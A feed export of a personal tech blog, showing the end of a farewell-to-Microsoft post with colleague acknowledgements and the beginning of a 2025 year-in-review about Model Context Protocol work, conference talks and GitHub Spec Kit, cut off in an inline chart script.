<h2 id="developer-division--coreai" class="relative group">Developer Division &amp; CoreAI <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#developer-division--coreai" aria-label="Anchor">#</a></span></h2>
<p>It&rsquo;s more than a bit of a bittersweet moment, because the team and the role I was in were fantastic. After being there for the past year (<em>the previous two I spent working in Microsoft Security</em>), I can tell you that Developer Division, or DevDiv as folks called it before it got folded into CoreAI, is an <em>extremely</em> fun place to work. I&rsquo;m not just saying this to be nice - it really is <em>the place</em> to be at Microsoft to ship fast, learn fast, and be on the cutting edge of what developers use every day.</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/microsoft-chapter-wrap/group-photo-dinner.webp">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Send-off dinner with some awesome folks on the Microsoft campus."
    
    
    
      src="https://assets.den.dev/images/postmedia/microsoft-chapter-wrap/group-photo-dinner.webp"
    
  />
  </a>
  <figcaption class="text-center">Send-off dinner with some awesome folks on the Microsoft campus.</figcaption>
</figure>
<p>This was my <em>dream org</em> since I joined Microsoft. We&rsquo;re talking about the birthplace of Visual Studio, Visual Studio Code, C# (<em>and the .NET platform</em>), TypeScript, Visual Basic (<em>that&rsquo;s what I started with way, way back</em>), and so much more. Could an absolute engineering geek ask for a better place to be?</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/microsoft-chapter-wrap/vs.webp">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Boxed versions of Visual Studio, courtesy of Simon Calvert."
    
    
    
      src="https://assets.den.dev/images/postmedia/microsoft-chapter-wrap/vs.webp"
    
  />
  </a>
  <figcaption class="text-center">Boxed versions of Visual Studio, courtesy of Simon Calvert.</figcaption>
</figure>
<p>It&rsquo;s something I <em>always</em> aspired to be a part of, and through a mix of luck and a whole lot of very much unrelated and very much unexpected stress, this dream became reality in the very first weeks of 2025.</p>
<p>Since January of last year I had the privilege of tackling many interesting problems, like helping figure out the adoption blockers for GitHub Copilot, charting out the path for better authentication and authorization integration in our IDEs (<em>I guess I put my Entra ID knowledge to use here too</em>), building quite a few conference prototypes and demos, training the internal Model Context Protocol (MCP) security muscle, and most recently - launching <a
  href="https://github.com/github/spec-kit"
  
  target="_blank" rel="noreferrer noopener"
>GitHub Spec Kit</a>, which <a
  href="https://den.dev/blog/wrapping-up-the-year-of-mcp/#projects"
  
  target="_blank" rel="noreferrer noopener"
>blasted past</a> 61,000 stars on GitHub. Like I said, this org is <em>lots of fun</em>, and I had a lot of agency to do things that are impactful.</p>
<p>Oh yeah, and did I mention that GitHub Spec Kit is the second most starred repository in the <em>entire GitHub org</em>? Talk about a little experiment getting out of hand.</p>
<p>But as with any career step, sometimes the <a
  href="https://haacked.com/archive/2024/12/10/chutes-and-ladder/"
  
  target="_blank" rel="noreferrer noopener"
>chutes and ladders</a> drop us in wildly unexpected directions. That&rsquo;s exactly what happened here. The timing is a bit odd, considering that just this fall I shifted roles, but I knew deep down that the change was something I had to do - at least to try and apply my skills at a different scale. I&rsquo;ve done <a
  href="https://den.dev/blog/end-of-chapter-one/"
  
  target="_blank" rel="noreferrer noopener"
>moves</a> <a
  href="https://den.dev/blog/joining-amazon/"
  
  target="_blank" rel="noreferrer noopener"
>like this</a> <a
  href="https://den.dev/blog/joining-netlify/"
  
  target="_blank" rel="noreferrer noopener"
>in the past</a>, but this one feels particularly poignant - and yet, <em>very</em> exciting.</p>
<h2 id="acknowledgements" class="relative group">Acknowledgements <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#acknowledgements" aria-label="Anchor">#</a></span></h2>
<p>I wanted to take a moment in this somewhat long-winded blog post to express my immense gratitude to a few folks who were absolutely <em>instrumental</em> to my career in the past few years and even way before then.</p>
<p>It would be a grave disservice to not first call out just how impactful the work of <a
  href="https://www.linkedin.com/in/amandaksilver"
  
  target="_blank" rel="noreferrer noopener"
><em>Amanda Silver</em></a> is on everything that I did at Microsoft and even outside of it before coming to DevDiv. People might not know just how big of an influence she is on cultural, technical, and product direction in Microsoft&rsquo;s developer ecosystem - she truly is second to none when it comes to <em>understanding developers</em>. In my eyes, Amanda <em>is</em> the Developer Division. I owe her my position in DevDiv and CoreAI as a whole - she did the most for me of any managers or mentors in the past half decade, and I know a lot of folks who feel the same way. My biggest reservation about leaving Microsoft was that I won&rsquo;t get to work with Amanda on the same team.</p>
<p>A few other folks that I want to individually call out for all they did to help shape my latest Microsoft tour of duty:</p>
<ul>
<li><em>Simon Calvert</em>, who provided a whole new perspective on what <em>product leadership</em> really stands for.</li>
<li><em>John Lam</em>, because GitHub Spec Kit would not happen without his work and research. When I think of someone who thinks outside the box, John is at the top of that list.</li>
<li><em>Jeff Wilcox</em>, who is always a voice of reason I can count on in the most uncertain moments.</li>
<li><em>Clint Rutkas</em>, who brought me to Microsoft and continued to be one of my best friends and trusted advisors for more than a decade now.</li>
<li><em>James Montemagno</em>, a ray of positivity and optimism who is best known for his &ldquo;<em>Let&rsquo;s do it!</em>&rdquo; attitude.</li>
<li><em>Scott Hanselman</em>, who needs no introduction. His advice has guided me since his early podcast episodes and through my Microsoft career.</li>
<li><em>Scott Hunter</em>, who didn&rsquo;t shy away from sticking his neck out for me in some of the toughest situations.</li>
<li><em>Brian Peek</em>, who provided a good dose of realism almost every day.</li>
<li><em>Brady Gaster</em>, who provided friendly support and lots of product suggestions that steered my projects in <em>way</em> better directions.</li>
<li><em>Caitie McCaffrey</em>, arguably the most impactful internal MCP champion who knows about distributed systems more than anyone I know.</li>
<li><em>Henrik Metzger</em>, the fearless leader of the Microsoft Identity Service Essentials (MISE) engineering org, who helped me build a much better understanding of the security world.</li>
<li><em>Jenny Ferries</em>, who was never afraid to <em>say</em> the right thing, and most importantly, <em>do</em> the right thing.</li>
<li><em>Jackson Davis</em> was my go-to conversation partner in the past year, and I think he secretly is the <a
  href="https://en.wikipedia.org/wiki/The_Most_Interesting_Man_in_the_World"
  
  target="_blank" rel="noreferrer noopener"
>most interesting man in the world</a>.</li>
<li><em>Jean-Marc Prieur</em>, the only person I know who knows more about identity than the entire security org.</li>
</ul>
<p>Also, very special shout-out goes also to some of the most amazing folks that I had the privilege of crossing paths with, who more than once helped me beyond what one could even ask for: <em>Julia Kasper</em>, <em>Annaji Sharma Ganti</em>, <em>Tyler Leonhardt</em>, <em>Mandy Whaley</em>, <em>Scott McMurray</em> (Halo Studios), <em>Diviyan Matheendran</em> (Halo Studios), <em>Nancy Anderson</em>, <em>Jeff Carnahan</em> (Halo Studios), <em>Toby Padilla</em>, <em>Mike Kistler</em>, <em>Lutz Roeder</em>, <em>Josh Free</em>, <em>Peter Marcu</em>, <em>Peter Maytak</em>, <em>Gladwin Johnson</em>, <em>Neha Bharghava</em>, <em>Keegan Caruso</em>, <em>Josh Lozensky</em>, <em>Kelly Song</em>, <em>Bogdan Gavril</em>, <em>Ray Luo</em>, <em>Travis Walker</em>, <em>Adrian Frei</em>, <em>Iulian Cociug</em>, <em>Chris Mann</em>, <em>Christopher Scott</em>, <em>Saeed Akhter</em>, <em>Stephen Halter</em>, <em>Stephen Toub</em>, <em>David Fowler</em>, <em>Joe Binder</em>, <em>Paul Yuknewicz</em>, <em>Shayne Boyer</em>, <em>Maddie Montaquila</em>, <em>Pierce Boggan</em>, <em>Maria Naggaga</em>, <em>Ernie Booth</em>, <em>Cassie Breviu</em>, <em>Eric Hollenbery</em>, <em>Hemory Phifer</em>, <em>Matt Ellis</em>, <em>Matthew Reyermann</em>, <em>Martin Woodward</em>, <em>Mario Rodriguez</em>, <em>Chuck Lantz</em>, <em>Tim Heuer</em>, <em>Denizhan Yigitbas</em>, <em>Evan Boyle</em>, and a massive fleet of other Microsofties and Hubbers who I learned from every day.</p>
<p>And of course, shout-out to the Microsoft-internal <strong>MCP Security Core Crew</strong> - the &ldquo;deep into everything security&rdquo; people I&rsquo;ve been collaborating with in the past year to make sure that we improve the MCP security posture inside Microsoft and outside of it (<em>I think we did a pretty solid job</em>): <em>Barry Dorrans</em>, <em>Alex Sklar</em>, <em>Matthew Henderson</em>, <em>Nazmus Sakib</em>, <em>Stuart Schaefer</em>, <em>Tolga Acar</em>, <em>Diana Smetters</em>, <em>Pam Dingle</em>, and <em>David Parks</em>.</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/microsoft-chapter-wrap/kelp.webp">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="A heartkelp thank you to all of you."
    
    
    
      src="https://assets.den.dev/images/postmedia/microsoft-chapter-wrap/kelp.webp"
    
  />
  </a>
  <figcaption class="text-center">A heartkelp thank you to all of you!</figcaption>
</figure>
<h2 id="onward" class="relative group">Onward <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#onward" aria-label="Anchor">#</a></span></h2>
<p>It also wouldn&rsquo;t be a farewell post without a stereotypical &ldquo;badge on the laptop&rdquo; photo - I always found the implied tradition somewhat funny, as if we&rsquo;re cops handing in our badge and gun.</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/microsoft-chapter-wrap/badge.webp">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Microsoft badge on a Microsoft laptop."
    
    
    
      src="https://assets.den.dev/images/postmedia/microsoft-chapter-wrap/badge.webp"
    
  />
  </a>
  <figcaption class="text-center">Microsoft badge on a Microsoft laptop.</figcaption>
</figure>
<p>If there&rsquo;s one thing I&rsquo;ve learned in my career - the tech industry is a <em>ridiculously small space</em>. If we worked or otherwise collaborated together, I am sure that we&rsquo;ll run into each other again many times in the future. Guaranteed.</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/microsoft-chapter-wrap/gateway-portal.webp">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Another view of the skybridge between Building 16 and Building 18 in Redmond, WA."
    
    
    
      src="https://assets.den.dev/images/postmedia/microsoft-chapter-wrap/gateway-portal.webp"
    
  />
  </a>
  <figcaption class="text-center">Another view of the skybridge between Building 16 and Building 18 in Redmond, WA.</figcaption>
</figure>
<p>Will share more on the next adventure soon!</p>
]]></content:encoded></item><item><title>Wrapping Up 2025 - The Year Of MCP</title><link>https://den.dev/blog/wrapping-up-the-year-of-mcp/</link><pubDate>Sun, 14 Dec 2025 00:00:00 +0000</pubDate><author>Den Delimarsky</author><guid>https://den.dev/blog/wrapping-up-the-year-of-mcp/</guid><description>The past year has, arguably, been all about Model Context Protocol. This is a reflection on the past twelve months, and an outlook on the year to come.</description><content:encoded><![CDATA[<p>Well, well, well - as 2025 draws to a close, I thought I&rsquo;d resurrect an old trend and start writing yearly summaries again. I also went ahead and picked a theme for the past 365-ish days. I can&rsquo;t help but call this <strong>the year of <a
  href="https://modelcontextprotocol.io/docs/getting-started/intro"
  
  target="_blank" rel="noreferrer noopener"
>Model Context Protocol (MCP)</a></strong>.</p>
<p>Remember when I said that <a
  href="https://den.dev/blog/mcp/"
  
  target="_blank" rel="noreferrer noopener"
>June was the <em>month</em> of MCP</a>? How naive! Little did I know that for me personally this entire year became almost entirely consumed by all things MCP. That was, hands down, one of the highlights of 2025. Not the only one, to be clear, but probably the most significant and impactful.</p>
<p>This blog post is a bit of a reflection on the past twelve months, so if you&rsquo;re looking for some groundbreaking MCP developments, you will have to check back in January.</p>
<video width="100%" controls>
  <source src="https://assets.den.dev/images/postmedia/wrapping-up-the-year-of-mcp/city-sunset.webm" type="video/webm">
Your browser does not support the video tag.
</video> 
<p>What&rsquo;s funny about this kind of &ldquo;looking back&rdquo; post is that I used to do yearly <a
  href="https://den.dev/blog/year-in-review-2017/"
  
  target="_blank" rel="noreferrer noopener"
>reflection</a> <a
  href="https://den.dev/blog/year-in-review-2018/"
  
  target="_blank" rel="noreferrer noopener"
>posts</a> just shy of a decade back, and then kind of&hellip; stopped. What&rsquo;s old is new again, and now that the work dies down before the end of the year, I can sit down, brew some decaf, and get my thoughts together.</p>
<h2 id="mcp-mcp-and-once-more---mcp" class="relative group">MCP, MCP, and once more - MCP <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#mcp-mcp-and-once-more---mcp" aria-label="Anchor">#</a></span></h2>
<p>I am writing this post just having visited San Francisco. I was there for three reasons, all <em>obviously</em> related to MCP.</p>
<p>First and foremost, to catch up with MCP Core Maintainers about transports. Then, to join my friends at Anthropic for the celebration of MCP joining the Agentic AI Foundation, and after that - to deliver a lightning talk at <a
  href="https://workos.com/mcp-night"
  
  target="_blank" rel="noreferrer noopener"
>MCP Night 3.0</a>, hosted by WorkOS, who graciously invited me to speak about some new spec developments.</p>
<p>The MCP Core Maintainer meeting was spurred by a strong desire to discuss the future of <em>transports</em> within the protocol. Believe it or not, just because we have STDIO and Streamable HTTP doesn&rsquo;t mean that the work is done. More on this in a future discussion, but I will just say that there is a lot of work happening behind the scenes to make MCP scale better in production scenarios.</p>
<p>You might&rsquo;ve noticed from <a
  href="https://den.dev/blog/mcp-nyc-meetup/"
  
  target="_blank" rel="noreferrer noopener"
>some past musings</a> that when there is a major topic that warrants a debate, MCP Core Maintainers just meet to talk about it in person. Does this remind you of any other open-source project that operates at scale? Jokes aside, we did actually have a fairly productive discussion that I think will be reflected nicely in a future update of the MCP specification (the last one was <a
  href="https://blog.modelcontextprotocol.io/posts/2025-11-25-first-mcp-anniversary/"
  
  target="_blank" rel="noreferrer noopener"
>this November</a>).</p>
<p>Can&rsquo;t complain about the sunny views we had from the office either.</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/wrapping-up-the-year-of-mcp/google-san-francisco.webp">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="The MCP Core Maintainers met at the Google office near Embarcadero."
    
    
    
      src="https://assets.den.dev/images/postmedia/wrapping-up-the-year-of-mcp/google-san-francisco.webp"
    
  />
  </a>
  <figcaption class="text-center">The MCP Core Maintainers met at the Google office near Embarcadero.</figcaption>
</figure>







<figure>
  <a href="https://assets.den.dev/images/postmedia/wrapping-up-the-year-of-mcp/mcp-discussion.webp">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="David Soria Parra explaining the principles behind MCP."
    
    
    
      src="https://assets.den.dev/images/postmedia/wrapping-up-the-year-of-mcp/mcp-discussion.webp"
    
  />
  </a>
  <figcaption class="text-center">David Soria Parra explaining the principles behind MCP.</figcaption>
</figure>







<figure>
  <a href="https://assets.den.dev/images/postmedia/wrapping-up-the-year-of-mcp/mcp-maintainers.webp">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="MCP maintainers discussing transports."
    
    
    
      src="https://assets.den.dev/images/postmedia/wrapping-up-the-year-of-mcp/mcp-maintainers.webp"
    
  />
  </a>
  <figcaption class="text-center">MCP maintainers discussing transports.</figcaption>
</figure>
<p>It&rsquo;s also worth mentioning that the discussion we had comes on the heels of the protocol maturing quickly over the past year. If you&rsquo;ve been looking <a
  href="https://modelcontextprotocol.io/community/communication#discord"
  
  target="_blank" rel="noreferrer noopener"
>inside our Discord server</a>, you might&rsquo;ve noticed that there are groups of folks with very extensive expertise in various domains who are <em>deeply</em> impactful when it comes to the MCP design and architecture. That&rsquo;s a good thing.</p>
<p>We ended up with a handful of &ldquo;knowledge niches&rdquo; - pockets of the community that have a strong influence on protocol direction from very specialized vantage points. They help shape such aspects as transports, extensibility, security (this includes authentication and authorization), SDKs, and much more. The <a
  href="https://modelcontextprotocol.io/community/governance"
  
  target="_blank" rel="noreferrer noopener"
>high-level maintainer groups</a> are then tasked with shepherding the set of proposals rather than come up with them all alone. That task would be untenable for a project that picked up as much steam as MCP did in the past year.</p>
<p>In between all the maintainer work, a few of us made our way to the Anthropic HQ to celebrate the launch of the <a
  href="https://aaif.io/"
  
  target="_blank" rel="noreferrer noopener"
>Agentic AI Foundation</a>. You can check out the announcements from <a
  href="https://www.anthropic.com/news/donating-the-model-context-protocol-and-establishing-of-the-agentic-ai-foundation"
  
  target="_blank" rel="noreferrer noopener"
>Anthropic</a>, <a
  href="https://blog.modelcontextprotocol.io/posts/2025-12-09-mcp-joins-agentic-ai-foundation/"
  
  target="_blank" rel="noreferrer noopener"
>David Soria Parra</a>, and <a
  href="https://github.blog/open-source/maintainers/mcp-joins-the-linux-foundation-what-this-means-for-developers-building-the-next-era-of-ai-tools-and-agents/"
  
  target="_blank" rel="noreferrer noopener"
>GitHub</a> to learn more.</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/wrapping-up-the-year-of-mcp/aaif-launch.webp">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Founding members of the Agentic AI Foundation doing a panel talk."
    
    
    
      src="https://assets.den.dev/images/postmedia/wrapping-up-the-year-of-mcp/aaif-launch.webp"
    
  />
  </a>
  <figcaption class="text-center">Founding members of the Agentic AI Foundation doing a panel talk.</figcaption>
</figure>
<p>Yours truly was also part of a mini-documentary run by GitHub related to this very occasion!</p>
<div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
			<iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/DBaFFYyUSl8?autoplay=0&amp;controls=1&amp;end=0&amp;loop=0&amp;mute=0&amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video"></iframe>
		</div>

<p>Anthropic HQ is also where I got to meet the <a
  href="https://www.anthropic.com/research/project-vend-1"
  
  target="_blank" rel="noreferrer noopener"
>famous Claudius</a>, and it&rsquo;s as cool a concept as you can imagine.</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/wrapping-up-the-year-of-mcp/claudius.webp">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Claudius, the automated vending machine managed by Claude."
    
    
    
      src="https://assets.den.dev/images/postmedia/wrapping-up-the-year-of-mcp/claudius.webp"
    
  />
  </a>
  <figcaption class="text-center">Claudius, the automated vending machine managed by Claude.</figcaption>
</figure>







<figure>
  <a href="https://assets.den.dev/images/postmedia/wrapping-up-the-year-of-mcp/claudius-project.webp">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Can I also build a machine ran by Claude?"
    
    
    
      src="https://assets.den.dev/images/postmedia/wrapping-up-the-year-of-mcp/claudius-project.webp"
    
  />
  </a>
  <figcaption class="text-center">Can I also build a machine ran by Claude?</figcaption>
</figure>
<p>Now, on MCP Night during the same week, I somehow ended up being together with people who are much (much) smarter than me. I mean, just look at this line-up and tell me I am wrong.</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/wrapping-up-the-year-of-mcp/headliners.webp">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Headliners at MCP Night 3.0, hosted by WorkOS in San Francisco."
    
    
    
      src="https://assets.den.dev/images/postmedia/wrapping-up-the-year-of-mcp/headliners.webp"
    
  />
  </a>
  <figcaption class="text-center">Headliners at MCP Night 3.0, hosted by WorkOS in San Francisco.</figcaption>
</figure>
<p>My little five-minute talk focused on the introduction of <a
  href="https://blog.modelcontextprotocol.io/posts/client_registration/"
  
  target="_blank" rel="noreferrer noopener"
>Client ID Metadata Documents (CIMD)</a> into the MCP specification and how it reflects in actual product usage, with <a
  href="https://den.dev/blog/cimd-vs-code-mcp/"
  
  target="_blank" rel="noreferrer noopener"
>Visual Studio Code as the example client</a>. Despite that we only have two well-known MCP servers testing CIMD, it&rsquo;s so exciting to see it light up in a <em>real app</em>.</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/wrapping-up-the-year-of-mcp/presentation.webp">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Presenting on CIMD at MCP Night in San Francisco."
    
    
    
      src="https://assets.den.dev/images/postmedia/wrapping-up-the-year-of-mcp/presentation.webp"
    
  />
  </a>
  <figcaption class="text-center">Presenting on CIMD at MCP Night in San Francisco.</figcaption>
</figure>
<p>Frankly, though, being there was not just about the talk - I got to catch up with <em>so many</em> community members who contributed to the protocol throughout the year. Informal chats like this are a great opportunity to learn about what excites and worries people about MCP. As it turns out - moving away from <a
  href="https://www.rfc-editor.org/rfc/rfc7591.html"
  
  target="_blank" rel="noreferrer noopener"
>Dynamic Client Registration (DCR)</a> is what excites people. Go figure, it&rsquo;s not as intuitive to implement as one may think.</p>
<p>In hindsight, I am <em>so thankful</em> that I got involved with MCP earlier this year. From <a
  href="https://den.dev/blog/model-context-protocol-oauth-rfc/"
  
  target="_blank" rel="noreferrer noopener"
>a little effort to update the authorization specification</a> to becoming a Core Maintainer, it turned into one of the most fulfilling collaborations and project contributions I&rsquo;ve had in my decade-long career in tech.</p>
<p>MCP, by virtue of its sheer gravitational pull, brought together a <em>massively talented</em> group of people in record time. I&rsquo;ve never seen anything like this. As I look forward to 2026 and all the MCP things we&rsquo;ll be building then, I am sure that we&rsquo;re in for some exciting new developments. And as a neat bonus, I get to spend more time with these folks!</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/wrapping-up-the-year-of-mcp/group.webp">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="A bunch of MCP people meeting up in the Bay Area."
    
    
    
      src="https://assets.den.dev/images/postmedia/wrapping-up-the-year-of-mcp/group.webp"
    
  />
  </a>
  <figcaption class="text-center">A bunch of MCP people meeting up in the Bay Area.</figcaption>
</figure>
<p>I am also excited to see the <a
  href="https://mcpgrowth.den.dev/"
  
  target="_blank" rel="noreferrer noopener"
>adoption and volume of MCP servers grow</a> - we&rsquo;re at <strong>2,728 indexed MCP servers</strong> at the time of me writing this blog post.</p>
<h2 id="public-speaking" class="relative group">Public speaking <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#public-speaking" aria-label="Anchor">#</a></span></h2>
<p>One goal that I set for myself for this year is to <em>speak more</em> in public about the projects that I work on. I wanted to join at least two events. Yep, <em>just two</em> - start small. I think I ended up blowing past that by a good margin.</p>
<p>I had a talk at <a
  href="https://www.youtube.com/watch?v=jwDHkWZ6V3U"
  
  target="_blank" rel="noreferrer noopener"
>MCP Dev Summit</a>, I presented at Build <a
  href="https://www.youtube.com/watch?v=cfwooBzzHBs"
  
  target="_blank" rel="noreferrer noopener"
>with James Montemagno</a> and <a
  href="https://www.youtube.com/watch?v=eVPHMMrORbA"
  
  target="_blank" rel="noreferrer noopener"
>with Amanda Silver</a>, talked about MCP at <a
  href="https://www.youtube.com/watch?v=PHBGhUKAM-w"
  
  target="_blank" rel="noreferrer noopener"
>AI Engineer World&rsquo;s Fair</a>, gave <a
  href="https://www.youtube.com/watch?v=3TlDUaM1L1Q&amp;list=PLA3LBCXrOOm21m3_4W1MwjIUSTLGBXWtj&amp;index=5&amp;pp=iAQB0gcJCSkKAYcqIYzv"
  
  target="_blank" rel="noreferrer noopener"
>a couple</a> <a
  href="https://www.youtube.com/watch?v=xqsaRaMOpXI"
  
  target="_blank" rel="noreferrer noopener"
>of talks</a> at Visual Studio Live, went on stage <em>twice</em> at <a
  href="https://reg.githubuniverse.com/flow/github/universe25/attendee-portal/page/sessioncatalog?search=%22Den%20Delimarsky%22"
  
  target="_blank" rel="noreferrer noopener"
>GitHub Universe</a>, was part of <a
  href="https://www.youtube.com/watch?v=hTV5jgjvYiY"
  
  target="_blank" rel="noreferrer noopener"
>MCP Dev Days</a>, joined James Montemagno <em>again</em> for <a
  href="https://www.youtube.com/watch?v=VfBLlAN5zdQ"
  
  target="_blank" rel="noreferrer noopener"
>AI Dev Days</a>, gave a talk <a
  href="https://workos.com/blog/microsoft-mcp-auth-without-the-configuration-nightmare"
  
  target="_blank" rel="noreferrer noopener"
>at MCP Night 3.0</a>, and had to decline a few other opportunities that I couldn&rsquo;t quite squeeze into my schedule (my apologies if you are one of the organizers - let&rsquo;s try again next year).</p>
<p>That&rsquo;s aside from <a
  href="https://www.youtube.com/playlist?list=PLA3LBCXrOOm21m3_4W1MwjIUSTLGBXWtj"
  
  target="_blank" rel="noreferrer noopener"
>a bunch of YouTube presentations</a> I had the privilege of joining, along with a <a
  href="https://newsletter.pragmaticengineer.com/p/mcp-deepdive"
  
  target="_blank" rel="noreferrer noopener"
>short interview with folks at The Pragmatic Engineer</a>. Not too shabby for a small aspirational goal.</p>
<h2 id="new-role" class="relative group">New role <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#new-role" aria-label="Anchor">#</a></span></h2>
<p>Earlier this year, I had a somewhat serendipitous change of responsibilities - I went from working in security and authentication/authorization SDKs to <a
  href="https://den.dev/blog/hello-developer-division/"
  
  target="_blank" rel="noreferrer noopener"
>working on AI</a> (it&rsquo;s no longer the Developer Division - just CoreAI). Albeit unplanned, that was a change that opened <em>so many doors</em> for me (hello again, MCP).</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/wrapping-up-the-year-of-mcp/building-18.webp">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="View from inside Building 18 on the Microsoft Redmond campus."
    
    
    
      src="https://assets.den.dev/images/postmedia/wrapping-up-the-year-of-mcp/building-18.webp"
    
  />
  </a>
  <figcaption class="text-center">View from inside Building 18 on the Microsoft Redmond campus.</figcaption>
</figure>
<p>This change reinforced my belief that the more often I push myself out of the comfort zone, the better. And you know what, any large-scale change may seem scary <em>in the moment</em> but in retrospect <em>it is the right thing to do</em>.</p>
<p>Through my career, I&rsquo;ve had several of these moments - quitting Microsoft to <a
  href="https://den.dev/blog/joining-amazon/"
  
  target="_blank" rel="noreferrer noopener"
>join Amazon</a> (although arguably that&rsquo;s a low-risk jump), <a
  href="https://den.dev/blog/joining-netlify/"
  
  target="_blank" rel="noreferrer noopener"
>going to a startup</a> during the pandemic, and then coming back to Microsoft right as hiring was slowing down.</p>
<p>The change from security to AI <em>was</em> a bit uncomfortable, but nothing like rolling up your sleeves and jumping in to get rid of any remaining jitters. That bet paid off handsomely.</p>
<h2 id="projects" class="relative group">Projects <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#projects" aria-label="Anchor">#</a></span></h2>
<p>You know how you can <em>do everything</em> for a viral hit and then get crickets? But then sometimes you have a little experiment that you want to get some community feedback on because you don&rsquo;t want to incubate it internally for too long, and it absolutely destroys your expectations? You know, kind of like my &ldquo;<a
  href="https://festivus.dev/"
  
  target="_blank" rel="noreferrer noopener"
>Seinfeld in Tech</a>&rdquo; memes?</p>
<p>As it turns out, this year I had an unexpected hit on my team&rsquo;s hands - <a
  href="https://github.com/github/spec-kit"
  
  target="_blank" rel="noreferrer noopener"
>GitHub Spec Kit</a>. When <a
  href="https://notes.iunknown.com/About"
  
  target="_blank" rel="noreferrer noopener"
>John Lam</a> and I launched this project in August, our intent was very much <em>not</em> to create the next big trend in AI-based software engineering. And yet, here we are.</p>
<p>And I know that I will be talking about vanity metrics, but the number of stars acquired <em>per day</em> for that project is still staggering to me, even if it slowed down a bit since launch.</p>
<div class="chart">
  
  <canvas id="631827945"></canvas>
  <script type="text/javascript">
    window.addEventListener("DOMContentLoaded", (event) => {
      const ctx = document.getElementById("631827945");
      const chart = new Chart(ctx, {
        
type: 'line',
data: {
